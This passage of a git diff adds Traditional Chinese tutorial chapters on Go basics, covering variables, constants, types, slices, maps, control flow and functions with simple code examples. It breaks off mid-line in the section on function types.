+你是不是覺得上面這樣的定義有點繁瑣?沒關係,因為 Go 語言的設計者也發現了,有一種寫法可以讓它變得簡單一點。我們可以直接忽略型別宣告,那麼上面的程式碼變成這樣了: + +```Go +/* + 定義三個變數,它們分別初始化為相應的值 + vname1 為 v1,vname2 為 v2,vname3 為 v3 + 然後 Go 會根據其相應值的型別來幫你初始化它們 +*/ +var vname1, vname2, vname3 = v1, v2, v3 +``` +你覺得上面的還是有些繁瑣?好吧,我也覺得。讓我們繼續簡化: + +```Go +/* + 定義三個變數,它們分別初始化為相應的值 + vname1 為 v1,vname2 為 v2,vname3 為 v3 + 編譯器會根據初始化的值自動推匯出相應的型別 +*/ +vname1, vname2, vname3 := v1, v2, v3 +``` +現在是不是看上去非常簡潔了?`:=` 這個符號直接取代了 `var` 和 `type`,這種形式叫做簡短宣告。不過它有一個限制,那就是它只能用在函式內部;在函式外部使用則會無法編譯透過,所以一般用 `var` 方式來定義全域性變數。 + +`_`(下劃線)是個特殊的變數名,任何賦予它的值都會被丟棄。在這個例子中,我們將值 `35` 賦予 `b`,並同時丟棄 `34`: + + _, b := 34, 35 + +Go 對於已宣告但未使用的變數會在編譯階段報錯,比如下面的程式碼就會產生一個錯誤:宣告了 `i` 但未使用。 + +```Go +package main + +func main() { + var i int +} +``` +## 常數 + +所謂常數,也就是在程式編譯階段就確定下來的值,而程式在執行時無法改變該值。在 Go 程式中,常數可定義為數值、布林值或字串等型別。 + +它的語法如下: + +```Go +const constantName = value +//如果需要,也可以明確指定常數的型別: +const Pi float32 = 3.1415926 +``` +下面是一些常數宣告的例子: + +```Go +const Pi = 3.1415926 +const i = 10000 +const MaxThread = 10 +const prefix = "astaxie_" +``` +Go 常數和一般程式語言不同的是,可以指定相當多的小數位數(例如 200 位), +若指定給 float32 自動縮短為 32bit,指定給 float64 自動縮短為 64bit,詳情參考 [連結](http://golang.org/ref/spec#Constants) + +## 內建基礎型別 + +### Boolean + +在 Go 中,布林值的型別為 `bool`,值是 `true` 或 `false`,預設為 `false`。 + +```Go +// 範例程式碼 +var isActive bool // 全域性變數宣告 +var enabled, disabled = true, false // 忽略型別的宣告 +func test() { + var available bool // 一般宣告 + valid := false // 簡短宣告 + available = true // 賦值操作 +} +``` + +### 數值型別 + +整數型別有無符號和帶符號兩種。Go 同時支援 `int` 和 `uint`,這兩種型別的長度相同,但具體長度取決於不同編譯器的實現。Go 裡面也有直接定義好位數的型別:`rune`, `int8`, `int16`, `int32`, `int64` 和 `byte`, `uint8`, `uint16`, `uint32`, `uint64`。其中 `rune` 是 `int32` 的別稱,`byte`是 `uint8` 的別稱。 + +>需要注意的一點是,這些型別的變數之間不允許互相賦值或操作,不然會在編譯時引起編譯器報錯。 +> +>如下的程式碼會產生錯誤:invalid operation: a + b (mismatched types int8 and int32) +> +>> var a int8 + +>> var b int32 + +>> c:=a + b +> +>另外,儘管 int 的長度是 32 bit, 但 int 與 int32 並不可以互用。 + +浮點數的型別有 `float32` 和 `float64` 兩種(沒有 `float` 型別),預設是 `float64`。 + +這就是全部嗎?No!Go 還支援複數。它的預設型別是 `complex128`(64 位實數 + 64 位虛數)。如果需要小一些的,也有 `complex64`(32 位實數+32 位虛數)。複數的形式為 `RE + IMi`,其中 `RE` 是實數部分,`IM` 是虛數部分,而最後的 `i` 是虛數單位。下面是一個使用複數的例子: + +```Go +var c complex64 = 5+5i +// output: (5+5i) +fmt.Printf("Value is: %v", c) +``` + +### 字串 + +我們在上一節中講過,Go 中的字串都是採用 `UTF-8` 字符集編碼。字串是用一對雙引號(`""`)或反引號(`` ` `` `` ` ``)括起來定義,它的型別是 `string`。 + +```Go +// 範例程式碼 +var frenchHello string // 宣告變數為字串的一般方法 +var emptyString string = "" // 宣告了一個字串變數,初始化為空字串 +func test() { + no, yes, maybe := "no", "yes", "maybe" // 簡短宣告,同時宣告多個變數 + japaneseHello := "Konichiwa" // 同上 + frenchHello = "Bonjour" // 常規賦值 +} +``` +在 Go 中字串是不可變的,例如下面的程式碼編譯時會報錯:cannot assign to s[0] + +```Go +var s string = "hello" +s[0] = 'c' +``` + +但如果真的想要修改怎麼辦呢?下面的程式碼可以實現: + +```Go +s := "hello" +c := []byte(s) // 將字串 s 轉換為 []byte 型別 +c[0] = 'c' +s2 := string(c) // 再轉換回 string 型別 +fmt.Printf("%s\n", s2) +``` + +Go 中可以使用 `+` 運算子來連線兩個字串: + +```Go +s := "hello," +m := " world" +a := s + m +fmt.Printf("%s\n", a) +``` +修改字串也可寫為: + +```Go +s := "hello" +s = "c" + s[1:] // 字串雖不能更改,但可進行切片 (slice) 操作 +fmt.Printf("%s\n", s) +``` +如果要宣告一個多行的字串怎麼辦?可以透過`` ` ``來宣告: + + m := `hello + world` + +`` ` `` 括起的字串為 Raw 字串,即字串在程式碼中的形式就是列印時的形式,它沒有字元轉義,換行也將原樣輸出。例如本例中會輸出: + + hello + world + +### 錯誤型別 +Go 內建有一個 `error` 型別,專門用來處理錯誤資訊,Go 的 `package` 裡面還專門有一個套件 `errors` 來處理錯誤: + +```Go +err := errors.New("emit macho dwarf: elf header corrupted") +if err != nil { + fmt.Print(err) +} +``` +### Go 資料底層的儲存 + +下面這張圖來源於[Russ Cox Blog](http://research.swtch.com/)中一篇介紹 [Go 資料結構](http://research.swtch.com/godata)的文章,大家可以看到這些基礎型別底層都是分配了一塊記憶體,然後儲存了相應的值。 + +![](images/2.2.basic.png) + +圖 2.1 Go 資料格式的儲存 + +## 一些技巧 + +### 分組宣告 + +在 Go 語言中,同時宣告多個常數、變數,或者匯入多個套件時,可採用分組的方式進行宣告。 + +例如下面的程式碼: + +```Go +import "fmt" +import "os" + +const i = 100 +const pi = 3.1415 +const prefix = "Go_" + +var i int +var pi float32 +var prefix string +``` +可以分組寫成如下形式: + +```Go +import( + "fmt" + "os" +) + +const( + i = 100 + pi = 3.1415 + prefix = "Go_" +) + +var( + i int + pi float32 + prefix string +) +``` +### iota 列舉 + +Go 裡面有一個關鍵字 `iota`,這個關鍵字用來宣告 `enum` 的時候採用,它預設開始值是 0,const 中每增加一行加 1: + +```Go +package main + +import ( + "fmt" +) + +const ( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // 常數宣告省略值時,預設和之前一個值的字面相同。這裡隱含的說 w = iota,因此 w == 3。其實上面 y 和 z 可同樣不用 "= iota" +) + +const v = iota // 每遇到一個 const 關鍵字,iota 就會重置,此時 v == 0 + +const ( + h, i, j = iota, iota, iota //h=0,i=0,j=0 iota 在同一行值相同 +) + +const ( + a = iota // a=0 + b = "B" + c = iota // c=2 + d, e, f = iota, iota, iota // d=3, e=3, f=3 + g = iota // g = 4 +) + +func main() { + fmt.Println(a, b, c, d, e, f, g, h, i, j, x, y, z, w, v) +} +``` +>除非被明確的設定為其它值或`iota`,每個 `const` 分組的第一個常數被預設設定為它的 0 值,第二及後續的常數被預設設定為它前面那個常數的值,如果前面那個常數的值是 `iota`,則它也被設定為 `iota`。 + +### Go 程式設計的一些規則 +Go 之所以會那麼簡潔,是因為它有一些預設的行為: +- 大寫字母開頭的變數是可匯出的,也就是其它套件可以讀取的,是公有變數;小寫字母開頭的就是不可匯出的,是私有變數。 +- 大寫字母開頭的函式也是一樣,相當於 `class` 中的帶 `public` 關鍵詞的公有函式;小寫字母開頭的就是有 `private` 關鍵詞的私有函式。 + +## array、slice、map + +### array +`array`就是陣列,它的定義方式如下: + +```Go +var arr [n]type +``` +在 `[n]type` 中,`n` 表示陣列的長度,`type` 表示儲存元素的型別。對陣列的操作和其它語言類似,都是透過 `[]` 來進行讀取或賦值: + +```Go +var arr [10]int // 宣告了一個 int 型別的陣列 +arr[0] = 42 // 陣列下標是從 0 開始的 +arr[1] = 13 // 賦值操作 +fmt.Printf("The first element is %d\n", arr[0]) // 取得資料,回傳 42 +fmt.Printf("The last element is %d\n", arr[9]) //回傳未賦值的最後一個元素,預設回傳 0 +``` +由於長度也是陣列型別的一部分,因此 `[3]int` 與 `[4]int` 是不同的型別,陣列也就不能改變長度。陣列之間的賦值是值的賦值,即當把一個陣列作為參數傳入函式的時候,傳入的其實是該陣列的副本,而不是它的指標。如果要使用指標,那麼就需要用到後面介紹的 `slice` 型別了。 + +陣列可以使用另一種 `:=` 來宣告 + +```Go +a := [3]int{1, 2, 3} // 宣告了一個長度為 3 的 int 陣列 + +b := [10]int{1, 2, 3} // 宣告了一個長度為 10 的 int 陣列,其中前三個元素初始化為 1、2、3,其它預設為 0 + +c := [...]int{4, 5, 6} // 可以省略長度而採用 `...` 的方式,Go 會自動根據元素個數來計算長度 +``` +也許你會說,我想陣列裡面的值還是陣列,能實現嗎?當然囉,Go 支援巢狀陣列,即多維陣列。比如下面的程式碼就宣告了一個二維陣列: + +```Go +// 宣告了一個二維陣列,該陣列以兩個陣列作為元素,其中每個陣列中又有 4 個 int 型別的元素 +doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + +// 上面的宣告可以簡化,直接忽略內部的型別 +easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} +``` +陣列的分配如下所示: + +![](images/2.2.array.png) + +圖 2.2 多維陣列的對映關係 + + +### slice + +在很多應用場景中,陣列並不能滿足我們的需求。在初始定義陣列時,我們並不知道需要多大的陣列,因此我們就需要 “動態陣列” 。在 Go 裡面這種資料結構叫 `slice` + +`slice` 並不是真正意義上的動態陣列,而是一個參考型別。`slice` 總是指向一個底層 `array`,`slice` 的宣告也可以像 `array` 一樣,只是不需要長度。 + +```Go +// 和宣告 array 一樣,只是少了長度 +var fslice []int +``` +接下來我們可以宣告一個 `slice`,並初始化資料,如下所示: + +```Go +slice := []byte {'a', 'b', 'c', 'd'} +``` +`slice` 可以從一個陣列或一個已經存在的 `slice` 中再次宣告。`slice` 透過 `array[i:j]` 來取得,其中 `i` 是陣列的開始位置,`j` 是結束位置,但不包含 `array[j]`,它的長度是 `j-i`。 + +```Go +// 宣告一個含有 10 個元素元素型別為 byte 的陣列 +var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + +// 宣告兩個含有 byte 的 slice +var a, b []byte + +// a 指向陣列的第 3 個元素開始,併到第五個元素結束, +a = ar[2:5] +//現在 a 含有的元素: ar[2]、ar[3]和 ar[4] + +// b 是陣列 ar 的另一個 slice +b = ar[3:5] +// b 的元素是:ar[3]和 ar[4] +``` +>注意 `slice` 和陣列在宣告時的區別:宣告陣列時,方括號內寫明了陣列的長度或使用 `...` 自動計算長度,而宣告 `slice` 時,方括號內沒有任何字元。 + +它們的資料結構如下所示 + +![](images/2.2.slice.png) + +圖 2.3 slice 和 array 的對應關係圖 + +slice 有一些簡便的操作 + + - `slice` 的預設開始位置是 0,`ar[:n]` 等價於 `ar[0:n]` + - `slice` 的第二個序列預設是陣列的長度,`ar[n:]` 等價於 `ar[n:len(ar)]` + - 如果從一個陣列裡面直接取得 `slice`,可以這樣 `ar[:]`,因為預設第一個序列是 0,第二個是陣列的長度,即等價於 `ar[0:len(ar)]` + +下面這個例子展示了更多關於 `slice` 的操作: + +```Go +// 宣告一個陣列 +var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +// 宣告兩個 slice +var aSlice, bSlice []byte + +// 示範一些簡便操作 +aSlice = array[:3] // 等價於 aSlice = array[0:3] aSlice 包含元素: a,b,c +aSlice = array[5:] // 等價於 aSlice = array[5:10] aSlice 包含元素: f,g,h,i,j +aSlice = array[:] // 等價於 aSlice = array[0:10] 這樣 aSlice 包含了全部的元素 + +// 從 slice 中取得 slice +aSlice = array[3:7] // aSlice 包含元素: d,e,f,g,len=4,cap=7 +bSlice = aSlice[1:3] // bSlice 包含 aSlice[1], aSlice[2] 也就是含有: e,f +bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f +bSlice = aSlice[0:5] // 對 slice 的 slice 可以在 cap 範圍內擴充套件,此時 bSlice 包含:d,e,f,g,h +bSlice = aSlice[:] // bSlice 包含所有 aSlice 的元素: d,e,f,g +``` +`slice` 是參考型別,所以當參考改變其中元素的值時,其它的所有參考都會改變該值,例如上面的 `aSlice` 和 `bSlice`,如果修改了 `aSlice` 中元素的值,那麼 `bSlice` 相對應的值也會改變。 + +從概念上面來說 `slice` 像一個結構體,這個結構體包含了三個元素: +- 一個指標,指向陣列中 `slice` 指定的開始位置 +- 長度,即 `slice` 的長度 +- 最大長度,也就是 `slice` 開始位置到陣列的最後位置的長度 + +```Go + Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + Slice_a := Array_a[2:5] +``` +上面程式碼的真正儲存結構如下圖所示 + +![](images/2.2.slice2.png) + +圖 2.4 slice 對應陣列的資訊 + +對於 `slice` 有幾個有用的內建函式: + +- `len` 取得 `slice` 的長度 +- `cap` 取得 `slice` 的最大容量 +- `append` 向 `slice` 裡面追加一個或者多個元素,然後回傳一個和 `slice` 一樣型別的`slice` +- `copy` 函式 `copy` 從源 `slice` 的`src`中複製元素到目標`dst`,並且回傳複製的元素的個數 + +注:`append` 函式會改變 `slice` 所參考的陣列的內容,從而影響到參考同一陣列的其它 `slice`。 +但當 `slice` 中沒有剩餘空間(即 `(cap-len) == 0`)時,此時將動態分配新的陣列空間。回傳的 `slice` 陣列指標將指向這個空間,而原陣列的內容將保持不變;其它參考此陣列的 `slice` 則不受影響。 + +從 Go1.2 開始 slice 支援了三個參數的 slice,之前我們一直採用這種方式在 slice 或者 array 基礎上來取得一個 slice + +```Go +var array [10]int +slice := array[2:4] +``` +這個例子裡面 slice 的容量是 8,新版本里面可以指定這個容量 + + slice = array[2:4:7] + +上面這個的容量就是 `7-2`,即 5。這樣這個產生的新的 slice 就沒辦法訪問最後的三個元素。 + +如果 slice 是這樣的形式 `array[:i:j]`,即第一個參數為空,預設值就是 0。 + +### map + +`map` 也就是 Python 中字典的概念,它的格式為 `map[keyType]valueType` + +我們看下面的程式碼,`map` 的讀取和設定也類似 `slice` 一樣,透過 `key` 來操作,只是 `slice` 的 `index` 只能是 `int` 型別,而 `map` 多了很多型別,可以是 `int`,可以是 `string` 及所有完全定義了 `==` 與 `!=` 操作的型別。 + +```Go +// 宣告一個 key 是字串,值為 int 的字典,這種方式的宣告需要在使用之前使用 make 初始化 +var numbers map[string]int +// 另一種 map 的宣告方式 +numbers = make(map[string]int) +numbers["one"] = 1 //賦值 +numbers["ten"] = 10 //賦值 +numbers["three"] = 3 + +fmt.Println("第三個數字是: ", numbers["three"]) // 讀取資料 +// 顯示出來如 : 第三個數字是: 3 +``` + +這個 `map` 就像我們平常看到的表格一樣,左邊列是 `key`,右邊列是值 + +使用 map 過程中需要注意的幾點: +- `map` 是無序的,每次顯示出來的 `map` 都會不一樣,它不能透過 `index` 取得,而必須透過 `key` 取得 +- `map` 的長度是不固定的,也就是和 `slice` 一樣,也是一種參考型別 +- 內建的 `len` 函式同樣適用於 `map`,回傳 `map` 擁有的 `key` 的數量 +- `map` 的值可以很方便的修改,透過 `numbers["one"]=11` 可以很容易的把 key 為 `one` 的字典值改為 `11` +- `map` 和其他基本型別不同,它不是 thread-safe,在多個 go-routine 存取時,必須使用 mutex lock 機制 + +`map` 的初始化可以透過 `key:val` 的方式初始化值,同時 `map` 內建有判斷是否存在 `key` 的方式 + +透過 `delete` 刪除 `map` 的元素: + +```Go +// 初始化一個字典 +rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 } +// map 有兩個回傳值,第二個回傳值,如果不存在 key,那麼 ok 為 false,如果存在 ok 為 true +csharpRating, ok := rating["C#"] +if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) +} else { + fmt.Println("We have no rating associated with C# in the map") +} + +delete(rating, "C") // 刪除 key 為 C 的元素 +``` + +上面說過了,`map` 也是一種參考型別,如果兩個 `map` 同時指向一個底層,那麼一個改變,另一個也相應的改變: + +```Go +m := make(map[string]string) +m["Hello"] = "Bonjour" +m1 := m +m1["Hello"] = "Salut" // 現在 m["hello"]的值已經是 Salut 了 +``` + +### make、new 操作 + +`make` 用於內建型別(`map`、`slice` 和 `channel`)的記憶體分配。`new` 用於各種型別的記憶體分配。 + +內建函式 `new` 本質上說跟其它語言中的同名函式功能一樣:`new(T)` 分配了零值填充的 `T` 型別的記憶體空間,並且回傳其地址,即一個 `*T` 型別的值。用 Go 的術語說,它回傳了一個指標,指向新分配的型別 `T` 的零值。有一點非常重要: + +>`new` 回傳指標。 + +內建函式 `make(T, args)` 與 `new(T)` 有著不同的功能,make 只能建立 `slice`、`map` 和 `channel`,並且回傳一個有初始值(非零)的 `T` 型別,而不是 `*T`。本質來講,導致這三個型別有所不同的原因是指向資料結構的參考在使用前必須被初始化。例如,一個 `slice`,是一個包含指向資料(內部 `array`)的指標、長度和容量的三項描述符;在這些專案被初始化之前,`slice` 為 `nil`。對於 `slice`、`map` 和 `channel` 來說,`make` 初始化了內部的資料結構,填充適當的值。 + +>`make` 回傳初始化後的(非零)值。 + +下面這個圖詳細的解釋了 `new` 和 `make` 之間的區別。 + +![](images/2.2.makenew.png) + +圖 2.5 make 和 new 對應底層的記憶體分配 + + +## 零值 +關於“零值”,所指並非是空值,而是一種“變數未填充前”的預設值,通常為 0。 +此處羅列 部分類型 的 “零值” + +```Go +int 0 +int8 0 +int32 0 +int64 0 +uint 0x0 +rune 0 //rune 的實際型別是 int32 +byte 0x0 // byte 的實際型別是 uint8 +float32 0 //長度為 4 byte +float64 0 //長度為 8 byte +bool false +string "" +``` + +## links + * [目錄]() + * 上一節:[你好,Go](<02.1.md>) + * 下一節:[流程和函式](<02.3.md>) diff --git a/zh-tw/02.3.md b/zh-tw/02.3.md new file mode 100644 index 000000000..f5df5c5dd --- /dev/null +++ b/zh-tw/02.3.md @@ -0,0 +1,563 @@ +# 2.3 流程和函式 +這小節我們要介紹 Go 裡面的流程控制以及函式操作。 +## 流程控制 +流程控制在程式語言中是最偉大的發明了,因為有了它,你可以透過很簡單的流程描述來表達很複雜的邏輯。Go 中流程控制分三大類別:條件判斷,迴圈控制和無條件跳轉。 +### if +`if` 也許是各種程式語言中最常見的了,它的語法概括起來就是:如果滿足條件就做某事,否則做另一件事。 + +Go 裡面 `if` 條件判斷語句中不需要括號,如下程式碼所示: + +```Go +if x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than 10") +} +``` +Go 的 `if` 還有一個強大的地方就是條件判斷語句裡面允許宣告一個變數,這個變數的作用域只能在該條件邏輯區塊內,其他地方就無法使用,如下所示: + +```Go +// 計算取得值 x,然後根據 x 回傳的大小,判斷是否大於 10。 +if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than 10") +} + +// 這個地方如果這樣呼叫就編譯出錯了,因為 x 是條件裡面的變數 +fmt.Println(x) +``` +多個條件的時候如下所示: + +```Go +if integer == 3 { + fmt.Println("The integer is equal to 3") +} else if integer < 3 { + fmt.Println("The integer is less than 3") +} else { + fmt.Println("The integer is greater than 3") +} +``` +### goto + +Go 有 `goto` 語句——請明智地使用它。用 `goto` 跳轉到必須在當前函式內定義的標籤。例如假設這樣一個迴圈: + +```Go +func myFunc() { + i := 0 +Here: //這行的第一個詞,以冒號結束作為標籤 + println(i) + i++ + goto Here //跳轉到 Here 去 +} +``` +>標籤名稱 (label) 是區分大小寫的的。 + +### for +Go 裡面最強大的一個控制邏輯就是 `for`,它既可以用來迴圈讀取資料,又可以當作 `while` 來控制邏輯,還能迭代操作。它的語法如下: + +```Go +for expression1; expression2; expression3 { + //... +} +``` +`expression1`、`expression2` 和 `expression3` 都是表示式,其中 `expression1` 和 `expression3` 是變數宣告或者函式呼叫回傳值之類別的,`expression2` 是用來條件判斷,`expression1` 在迴圈開始之前呼叫,`expression3`在每輪迴圈結束之時呼叫。 + +一個例子比上面講那麼多更有用,那麼我們看看下面的例子吧: + +```Go +package main + +import "fmt" + +func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index + } + fmt.Println("sum is equal to ", sum) +} +// 輸出:sum is equal to 45 +``` +有些時候需要進行多個賦值操作,由於 Go 裡面沒有 `,` 運算子,那麼可以使用平行賦值 `i, j = i+1, j-1`。 + +有些時候如果我們忽略 `expression1` 和 `expression3`: + +```Go +sum := 1 +for ; sum < 1000; { + sum += sum +} +``` +其中 `;` 也可以省略,那麼就變成如下的程式碼了,是不是似曾相識?對,這就是 `while` 的功能。 + +```Go +sum := 1 +for sum < 1000 { + sum += sum +} +``` +在迴圈裡面有兩個關鍵操作 `break` 和 `continue`, `break` 操作是跳出當前迴圈,`continue` 是跳過本次迴圈。當巢狀過深的時候,`break` 可以配合標籤使用,即跳轉至標籤所指定的位置,詳細參考如下例子: + +```Go +for index := 10; index>0; index-- { + if index == 5{ + break // 或者 continue + } + fmt.Println(index) +} +// break 顯示出來 10、9、8、7、6 +// continue 顯示出來 10、9、8、7、6、4、3、2、1 +``` +`break` 和 `continue` 還可以跟著標號,用來跳到多重迴圈中的外層迴圈。 + +`for` 配合 `range` 可以用於讀取 `slice` 和`map`的資料: + +```Go +for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) +} +``` +由於 Go 支援 “多值回傳”, 而對於 “宣告而未被呼叫” 的變數, 編譯器會報錯, 在這種情況下, 可以使用 `_` 來丟棄不需要的回傳值。 +例如 + +```Go +for _, v := range map{ + fmt.Println("map's val:", v) +} +``` + +### switch +有些時候你需要寫很多的 `if-else` 來實現一些邏輯處理,這個時候程式碼看上去就很醜很冗長,而且也不易於以後的維護,這個時候 `switch` 就能很好的解決這個問題。它的語法如下 + +```Go +switch sExpr { +case expr1: + some instructions +case expr2: + some other instructions +case expr3: + some other instructions +default: + other code +} +``` +`sExpr` 和 `expr1`、`expr2`、`expr3` 的型別必須一致。Go 的 `switch` 非常靈活,表示式不必是常數或整數,執行的過程從上至下,直到找到匹配項;而如果 `switch` 沒有表示式,它會匹配 `true`。 + +```Go +i := 10 +switch i { +case 1: + fmt.Println("i is equal to 1") +case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") +case 10: + fmt.Println("i is equal to 10") +default: + fmt.Println("All I know is that i is an integer") +} +``` +在第 5 行中,我們把很多值聚合在了一個 `case` 裡面,同時,Go 裡面 `switch` 預設相當於每個 `case` 最後帶有`break`,匹配成功後不會自動向下執行其他 case,而是跳出整個 `switch`, 但是可以使用 `fallthrough` 強制執行後面的 case 程式碼。 + +```Go +integer := 6 +switch integer { +case 4: + fmt.Println("The integer was <= 4") + fallthrough +case 5: + fmt.Println("The integer was <= 5") + fallthrough +case 6: + fmt.Println("The integer was <= 6") + fallthrough +case 7: + fmt.Println("The integer was <= 7") + fallthrough +case 8: + fmt.Println("The integer was <= 8") + fallthrough +default: + fmt.Println("default case") +} +``` +上面的程式將輸出 + +```Go +The integer was <= 6 +The integer was <= 7 +The integer was <= 8 +default case +``` + +## 函式 +函式是 Go 裡面的核心設計,它透過關鍵字 `func` 來宣告,它的格式如下: + +```Go +func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + // 這裡是處理邏輯程式碼 + // 回傳多個值 + return value1, value2 +} +``` +上面的程式碼我們看出 + +- 關鍵字 `func` 用來宣告一個函式 `funcName` +- 函式可以有一個或者多個參數,每個參數後面帶有型別,透過 `,` 分隔 +- 函式可以回傳多個值 +- 上面回傳值宣告了兩個變數 `output1` 和 `output2`,如果你不想宣告也可以,直接就兩個型別 +- 如果只有一個回傳值且不宣告回傳值變數,那麼你可以省略 包括回傳值 的括號 +- 如果沒有回傳值,那麼就直接省略最後的回傳資訊 +- 如果有回傳值, 那麼必須在函式的外層新增 return 語句 + +下面我們來看一個實際應用函式的例子(用來計算 Max 值) + +```Go +package main + +import "fmt" + +// 回傳 a、b 中最大值. +func max(a, b int) int { + if a > b { + return a + } + return b +} + +func main() { + x := 3 + y := 4 + z := 5 + + max_xy := max(x, y) // 呼叫函式 max(x, y) + max_xz := max(x, z) // 呼叫函式 max(x, z) + + fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy) + fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz) + fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在這直接呼叫它 +} +``` +上面這個裡面我們可以看到 `max` 函式有兩個參數,它們的型別都是 `int`,那麼第一個變數的型別可以省略(即 a,b int,而非 a int, b int),預設為離它最近的型別,同理多於 2 個同類型的變數或者回傳值。同時我們注意到它的回傳值就是一個型別,這個就是省略寫法。 + +### 多個回傳值 +Go 語言比 C 更先進的特性,其中一點就是函式能夠回傳多個值。 + +我們直接上程式碼看例子 + +```Go +package main + +import "fmt" + +// 回傳 A+B 和 A*B +func SumAndProduct(A, B int) (int, int) { + return A+B, A*B +} + +func main() { + x := 3 + y := 4 + + xPLUSy, xTIMESy := SumAndProduct(x, y) + + fmt.Printf("%d + %d = %d\n", x, y, xPLUSy) + fmt.Printf("%d * %d = %d\n", x, y, xTIMESy) +} +``` +上面的例子我們可以看到直接回傳了兩個參數,當然我們也可以命名回傳參數的變數,這個例子裡面只是用了兩個型別,我們也可以改成如下這樣的定義,然後回傳的時候不用帶上變數名,因為直接在函式裡面初始化了。但如果你的函式是匯出的(首字母大寫),官方建議:最好命名回傳值,因為不命名回傳值,雖然使得程式碼更加簡潔了,但是會造成產生的文件可讀性差。 + +```Go +func SumAndProduct(A, B int) (add int, Multiplied int) { + add = A+B + Multiplied = A*B + return +} +``` + +### 可變參數函式 (Variadic functions) + +Go 函式支援可變參數函式。接受可變參數的函式是有著不定數量的參數的。為了做到這點,首先需要定義函式使其接受可變參數: + +```Go +func myfunc(arg ...int) {} +``` + +`arg ...int` 告訴 Go 這個函式接受不定數量的參數。注意,這些參數的型別全部是 `int`。在函式體中,變數 `arg` 是一個 `int` 的 `slice`: + +```Go +for _, n := range arg { + fmt.Printf("And the number is: %d\n", n) +} +``` + +### 傳值與傳指標 + +當我們傳一個參數值到被呼叫函式裡面時,實際上是傳了這個值的一份 copy,當在被呼叫函式中修改參數值的時候,呼叫函式中相應參數不會發生任何變化,因為數值變化只作用在 copy 上。 + +為了驗證我們上面的說法,我們來看一個例子 + +```Go +package main + +import "fmt" + +// 簡單的一個函式,實現了參數+1 的操作 +func add1(a int) int { + a = a+1 // 我們改變了 a 的值 + return a // 回傳一個新值 +} + +func main() { + x := 3 + + fmt.Println("x = ", x) // 應該輸出 "x = 3" + + x1 := add1(x) //呼叫 add1(x) + + fmt.Println("x+1 = ", x1) // 應該輸出"x+1 = 4" + fmt.Println("x = ", x) // 應該輸出"x = 3" +} +``` +看到了嗎?雖然我們呼叫了 `add1` 函式,並且在 `add1` 中執行 `a = a+1` 操作,但是上面例子中 `x` 變數的值沒有發生變化 + +理由很簡單:因為當我們呼叫 `add1` 的時候,`add1` 接收的參數其實是 `x` 的 copy,而不是 `x` 本身。 + +那你也許會問了,如果真的需要傳這個 `x` 本身,該怎麼辦呢? + +這就牽扯到了所謂的指標。我們知道,變數在記憶體中是存放於一定地址上的,修改變數實際是修改變數地址處的記憶體。只有 `add1` 函式知道 `x` 變數所在的地址,才能修改 `x` 變數的值。所以我們需要將 `x` 所在地址 `&x` 傳入函式,並將函式的參數的型別由 `int` 改為 `*int`,即改為指標型別,才能在函式中修改 `x` 變數的值。此時參數仍然是按 copy 傳遞的,只是 copy 的是一個指標。請看下面的例子 + +```Go +package main + +import "fmt" + +// 簡單的一個函式,實現了參數+1 的操作 +func add1(a *int) int { // 請注意, + *a = *a+1 // 修改了 a 的值 + return *a // 回傳新值 +} + +func main() { + x := 3 + + fmt.Println("x = ", x) // 應該輸出 "x = 3" + + x1 := add1(&x) // 呼叫 add1(&x) 傳 x 的地址 + + fmt.Println("x+1 = ", x1) // 應該輸出 "x+1 = 4" + fmt.Println("x = ", x) // 應該輸出 "x = 4" +} +``` +這樣,我們就達到了修改 `x` 的目的。那麼到底傳指標有什麼好處呢? + +- 傳指標使得多個函式能操作同一個物件。 +- 傳指標比較輕量級 (8bytes),只是傳記憶體地址,我們可以用指標傳遞體積大的結構體。如果用參數值傳遞的話, 在每次 copy 上面就會花費相對較多的系統開銷(記憶體和時間)。所以當你要傳遞大的結構體的時候,用指標是一個明智的選擇。 +- Go 語言中 `channel`,`slice`,`map` 這三種類型的實現機制類似指標,所以可以直接傳遞,而不用取地址後傳遞指標。(注:若函式需改變 `slice` 的長度,則仍需要取地址傳遞指標) + +### defer +Go 語言中有種不錯的設計,即延遲(defer)語句,你可以在函式中新增多個 defer 語句。當函式執行到最後時,這些 defer 語句會按照逆序執行,最後該函式回傳。特別是當你在進行一些開啟資源的操作時,遇到錯誤需要提前回傳,在回傳前你需要關閉相應的資源,不然很容易造成資源洩露等問題。如下程式碼所示,我們一般寫開啟一個資源是這樣操作的: + +```Go +func ReadWrite() bool { + file.Open("file") +// 做一些工作 + if failureX { + file.Close() + return false + } + + if failureY { + file.Close() + return false + } + + file.Close() + return true +} +``` +我們看到上面有很多重複的程式碼,Go 的 `defer` 有效解決了這個問題。使用它後,不但程式碼量減少了很多,而且程式變得更優雅。在 `defer` 後指定的函式會在函式退出前呼叫。 + +```Go +func ReadWrite() bool { + file.Open("file") + defer file.Close() + if failureX { + return false + } + if failureY { + return false + } + return true +} +``` +如果有很多呼叫 `defer`,那麼 `defer` 是採用後進先出模式,所以如下程式碼會輸出 `4 3 2 1 0` + +```Go +for i := 0; i < 5; i++ { + defer fmt.Printf("%d ", i) +} +``` +### 函式作為值、型別 + +在 Go 中函式也是一種變數,我們可以透過 `type` 來定義它,它的型別就是所有擁有相同的參數,相同的回傳值的一種型別 + + type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 